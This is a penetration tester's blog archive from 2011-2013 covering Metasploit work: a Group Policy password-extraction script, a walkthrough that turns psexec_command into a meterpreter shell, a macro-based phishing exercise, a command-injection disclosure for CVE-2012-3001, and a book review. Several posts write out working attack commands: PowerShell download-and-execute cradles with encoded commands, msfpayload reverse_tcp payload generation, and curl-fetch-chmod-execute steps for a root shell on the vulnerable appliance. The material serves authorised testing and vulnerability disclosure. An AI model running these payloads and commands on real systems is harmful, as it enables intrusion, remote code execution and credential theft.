Showing posts with label metasploit. Show all posts
Showing posts with label metasploit. Show all posts

Wednesday, July 3, 2013

Get-GPPPassword Redux

Its been over a year since I threw together the original Get-GPPPassword on a short flight and I was really having a hard time even looking at the code. In addition to a nagging bug, it needed to be rewritten and updated to include all the great recommendations from you guys. Its amazing how often I still see local passwords being enforced with Group Policy preferences. For some reason it actually feels like the problem is getting worse even with Microsoft's blatant warnings in Server 2012. The other issue that I have seen is that when administrators stop using preferences, the old XML file is not deleted. On more than one engagement I have found an old password which helped me guess the current one. We need to keep hammering at this poor practice.

Additionally, one of the things that jumped out at me while reworking this script is the simplicity of this task in PowerShell. Compared to accomplishing the same task in Ruby, PowerShell's XML parsing really gives it an edge. A lot of security professionals could benefit by spending a few days to learn it and Carlos Perez is teaching an awesome class at Derbycon!

Updates:

General flow, performance and bug fixes including better error handling and a fix for the problem with how the base64-encoded string was being padded.

Support for parsing not only groups.xml,  but also scheduledtasks.xml, services.xml and datasources.xml. The original post that inspired me to write the function appears to be down, but there have been other posts that point out that passwords can be stored in other Group Policy preference files as well. I attempted to create each one of those XML files and created logic for the 4 that seem used.

Ryan Ries pointed out that the script could easily be pointed at the domain controller which removes the need for any parameters and makes the script easier to run:


I broke out the decryption function (Get-DecryptedCPassword) If you want to decrypt a password offline, you can use that.

As always, the most current version of the Get-GPPPassword is available from the PowerSploit Github page. Thanks for reading, keep the comments and recommendations coming and join Skip Duckwall and I at BlackHat where we will briefly discuss Group Policy preferences in relation to the Pass-the-Hash attack with practical mitigation techniques.

-Chris

Thursday, March 28, 2013

PowerSploit + Metasploit = Shells

Metasploit has supported psexec-like functionality with pass-the-hash for several years. Unfortunately, its mostly useless when an AV product is there to delete the uploaded service binary. Recently, a module (/auxiliary/admin/smb/psexec_command) was created that allows you to run a single Windows command with discovered hashes or credentials. This doesn't flag AV, but isn't the full meterpreter shell that we're use to. How can we turn one command into a meterpreter shell?  With PowerSploit and Matt Graeber's Invoke-Shellcode!

The basic steps:


Kali Linux is awesome, but the version of PowerSploit is currently outdated, so lets pull down the script we will eventually run:

wget -O /var/www/payload https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1

Next we need to append the appropriate function call with LHOST and LPORT parameters and ensure that Apache is running.

echo "Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force" >> /var/www/payload

strings -es /var/www/payload


Call to Function Added
Now that we have the script hosted, we need to build the command we want to execute. Although we could encode the entire command, I have found that building a small staging script is far more reliable. We can use the same method as described in a previous post.

Basically, we are going to Base64 encode our short script block which will pull down the rest of our script: 

scriptblock="iex (New-Object Net.WebClient).DownloadString("http://$lhost/payload")"
encode="`echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0`"
command="cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode"
echo $command


Now we fill in the rest of the settings of the module (either a password or hash) and use the COMMAND parameter to the encoded command:

Add Command to psexec_command
Next, we start the multi/handler with reverse_https:

Set Up Handler
Finally, we run the module. This uploads a service binary to run our single command. The single command is an encoded PowerShell script which is pulling down the larger Invoke-Shellcode script. Invoke-Shellcode is determining whether the system is x86 or x64, and injecting meterpreter shellcode into an appropriate process:

Get Your Shell
The end result is a meterpreter shell without writing anything more to disk than the psexec_command module does (notice the less than ideal bat files in the above screenshot). This method has proven to be reliable for me over the last few months with lots of other tools as well. I hope you find it useful and maybe someone will be inspired to automate this all into a single module.

As soon as the PTH-Suite is ported to Kali, I hope to show you how to accomplish all of this without writing anything to disk!

***Updated 8/8/2013
So after a few comments and working through encoding issues with several people I finally realized that the actual posted code was incomplete. Instead of working from the post, I continued to work from my own script which was just simply not smart. So I added a screenshot for extra clarity and I apologize to anyone that this frustrated. On the positive side, now there are loads of other ways to pull this off which I wrote about here and you can read more about here and here.


-Chris

Wednesday, February 27, 2013

DIY Phishing Exercises with PowerShell

One task that I have grown to hate is sending phishing emails. As a Red-teamer, I realize they almost always work and in most cases its the most likely (but not only) attack vector.  If the attempt is caught, you could face much tougher scrutiny attempting future attacks. As such, its something that I normally do after exhausting other methods or by prepping with extensive recon and social-engineering (physical and telephonic). However, I feel like organizations should be regularly testing themselves or using a service and not waiting for a pentester to tell them that their user's will click on almost anything.

Not long after releasing the PowerShell bot script, a friend asked how he could use the Send-Phishing script to test his organization. His company has a limited budget but they have a motivated and security-conscience IT staff. During the conversation, we came up with a few ideas on how to script out a phishing exercise complete with consequences. The goal is not to test whether malicious payloads can get in (they can), but the user's, admin's and security guy's reaction times. He wanted the test to be repeatable, low-cost and focus on learning at the expense of realism.
Send-Phishing PowerShell Script

The responsibility for running the tests will rotate between two people who will be responsible for developing the ruse (sometimes the hardest part). The first exercise used the example that I provided during my recent talks and it is a good start. The payload is an easy VBA macro embedded in an Excel spreadsheet. The macro hides the desired content behind a fake warning which instructs the user to enable macros if the macros aren't already enabled. This method has been around for a very long time, but the first time I saw it was in a phishing email to me from a pentester five or so years ago.

This "attack" could easily be prevented if users aren't allowed to enable macros but I find it rare that accounting/HR aren't allowed to. If only signed macros are allowed, then sign yours. A code-signing certificate is not expensive for an attacker. Since this is only an exercise, you can self-sign it. Make your payload work for the sake of the exercise.

Macro that Hides Content and Executes Remote PowerShell Script
The Content the User is Expecting
Fake Message User Receives if Macros Aren't Enabled

Next, we borrowed some of the features of the TwitterBot to create opportunities for each level to detect and respond to the phishing attempt. Each phase is implemented in a PowerShell script that is downloaded and executed by the macro:

  • Phase 0:  The user receives the email and attachment.
  • Phase 1:  User receives a popup message notifying them of the compromise.
  • Phase 2:  Antivirus is flagged which should notify the AV admin of suspicious activity.
  • Phase 3:  A known malicious C2 domain name is resolved by the "compromised" host.
  • Phases 4 - 9: Hacker activities are notionally conducted and story is written to the log.
Phase 1 Warning Message with Encoded Location of Log File
Phase 2 Antivirus Warning Message
I would like to stress that the overall story and activities are only generally realistic, there is no way to accurately predict how long each step would or could take. For a free exercise (there is opportunity cost, but no high-dollar consultant expenses), I think it works. Obviously, the story and timeline can be tailored to fit your organization's expected (or already discovered) threat actors. 


Careful consideration should be given to the fact that some learned concepts could have adverse affects on your organization's security. For example, the odds that a targeted attacker would pop a message to your user or flag AV are very slim. These steps should only be used to generate some initial awareness and should be removed from future tests. Furthermore, you analysts should learn to identify unknown C2 domains instead of relying solely on signatures. However, this is just a beginner exercise so treat it as such.

The function below was hosted on Github with a call to "Get-PhishingExercise" added to it:

Get-PhishingExercise     

The function has a few concepts that I now use regularly. I love to the Get-Random commandlet because it adds a bit of unpredictable behavior. For example, there are several options where the function can store the log and the name of the log file itself is random. [Note: The first time that this was actually used, one of the user's actually deleted the log after reading it (which itself is a problem) but I chose to encode it in the message to prevent that from easily happening again.]

Make sure you and your organization are comfortable with what the script is doing. If you don't have active rules to detect and prevent the resolution of known malicious hostnames, don't use the phase 3 portion. The use of those hostnames was prompted by the recently released Mandiant report which has resulted in many updates to network security products and their signatures. Those 5 domains should all flag your IDS. If you haven't read the report and its appendices in its entirety, you should!

Next, the URL to the hosted script was shortened with a shortener. Now we have the one-liner that will download and execute our script:

IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/e0Mw9w')
IEX is an alias for the Invoke-Expression cmdlet and will execute what the .Net WebClient downloads. Pretty simple isn't it? This example usage was borrowed from Lee Holmes.

Since this will only work in the PowerShell console, we need a way to call PowerShell.exe and pass it this script while bypassing the PowerShell ExecutionPolicy. Lee posted this easy shortcut to base64 a script block on twitter:
(cmd /c echo {ScriptBlock}).split(' ')[1]
Now we have our encoded script, lets build a command that can be run from cmd.exe:
PowerShell -Exec Bypass -NoL -Enc $EncodedScript
Drop that command in the macro and just update the script on Github to make any future changes! Now we can pick our targets and send the email with our attachment.

Once the attack is detected, the analyst or admin should be able to quarantine the box and retrieve the "marker" which is the script's output. The group as a whole would then be able to get together and discuss what went well and how to get better. Since users will eventually become wary of spreadsheets, you can embed this is other Office products like Word documents or PowerPoint presentations. Also, this same concept can be used to embed the payload into Java applets and PDFs with other tools like the awesome SET. Just utilize the same command that was added to the macro with the windows/exec or similar payload.

I hope other organizations see how easy it is to test their users and admins for awareness and responsiveness. If you have thoughts or questions, please let me know.

-Chris



Wednesday, October 31, 2012

Mutiny Command Injection and CVE-2012-3001

As with the last post, this post is further explanation of things that I briefly covered at BsidesLV earlier this year.  The disclosure process is still ongoing and slow for some things, but the U.S. CERT has been extremely helpful.  They definitely get better results than I did with any of the vendors and they recently disclosed CVE-2012-3001.

Mutiny Technologies network monitoring appliance is vulnerable to multiple command injection vulnerabilities once authenticated to the web application.  The default username is 'admin' and the default password is 'mutiny'.  Even if those were changed, there are simple ways to guess the password for the 'admin' account which I talked about in a previous post about command injection vulnerabilities.  When connecting to the appliance over HTTP you are presented with something like:

The vendor has already added a nice message reminding people to upgrade and even referenced some "linux vulnerability issues" which would be an interesting way of describing command injection vulnerabilities in their web application.  

In this example, we will log in with the admin account.  Once logged in, we can navigate to the "admin" tab located on the top right.


Next we will go to the "Network Configuration" tab and focus on the "Subnet Mask" field.



To confirm that command injection is possible, lets test by pinging our own address.



Success!  Lets take a look at how the post is formed when changes are made to the network configuration. 



Although the Mutiny appliance ships with a disabled firewall and SSH enabled, lets assume that the attacker has discovered this vulnerability externally or is pivoting through another compromised host.  Lets generate a Meterpreter reverse TCP binary, put it on our webserver and put up a listener.

msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.14 LPORT=8443 R | msfencode -t elf > update



Next, we will have to see what is available on the appliance to download our binary. Unfortunately, wget isn't installed or isn't in the path since all we can tell is that it isn't working. However, Curl is installed so we can download our binary, change the permissions and execute it from the web interface.

curl -o /tmp/update http://192.168.1.15/update
chmod +x /tmp/update
/tmp/update



Now our binary has executed and we have our shell.  What context is the web application running as?



Root.

Please let me know if you have any questions, thanks for reading and sorry about the lack of PowerShell!

-Chris

***Update 3/24/13
Juan Vazquez wrote a Metasploit module to exploit this vulnerability. Check it out!

Friday, December 16, 2011

"Metasploit : The Penetration Tester's Guide" Review



Dave Kennedy, Jim O'Gorman, Devon Kearns and Mati Aharoni set out to do the impossible.  How do you write a book about a software project that improves nearly every day?  How do you keep it relevant for more than a few weeks or months? Other books have tried and in my opinion failed, but this one is great.  It doesn't just teach you how to use this great security tool, it takes you through some of the thought and methodology involved in a professional penetration test.

Almost everyone can learn something from this book.  I particularly liked the following chapters because they contain the most complete coverage of topics that you won't find much on anywhere else:
 
Chapter 3 - Working with Databases in Metasploit
Chapter 5 - Resource Files

Although I found a few tips that I was able to immediately start utilizing on engagements, I think the book would be even better for those with less exposure to Metasploit and SET.  
 
Most of my gripes about the book stem from the content in Chapter 6 (Meterpreter).  Process migration is explained, but I think the authors should have gone into more depth about how to choose the right processes to migrate to.  Most Host IPS products protect a specific set of processes which should be avoided if at all possible. A warning similar to that about the use of bind shells on page 94 would have been have nice.  Another potential improvement to Chapter 6 could be a discussion on why NOT to kill antivirus.  If you have gone through the trouble getting code execution with Meterpreter with AV installed, why not leave AV alone?  Meterpreter is running in memory so in theory it shouldn't be affected by AV.  You should avoid uploading tools if at all possible. 
 
The acknowledgment on page 108 is completely accurate.  Generating a payload to bypass some AV products is nearly impossible using the methods described in the book.  Any popular method of generating payloads will eventually be reversed (for good reason) by the AV vendors.  There is a great discussion about this concept here and here.  For that reason, its normally best to find your own method and keep it private.

Overall, the book is well-written and organized.  If I were designing a course on penetration testing, this book would definitely be mandatory reading.  Its on the short list of books I would recommend to any security practitioner.  You can pick it up from amazon or directly from No Starch

-Chris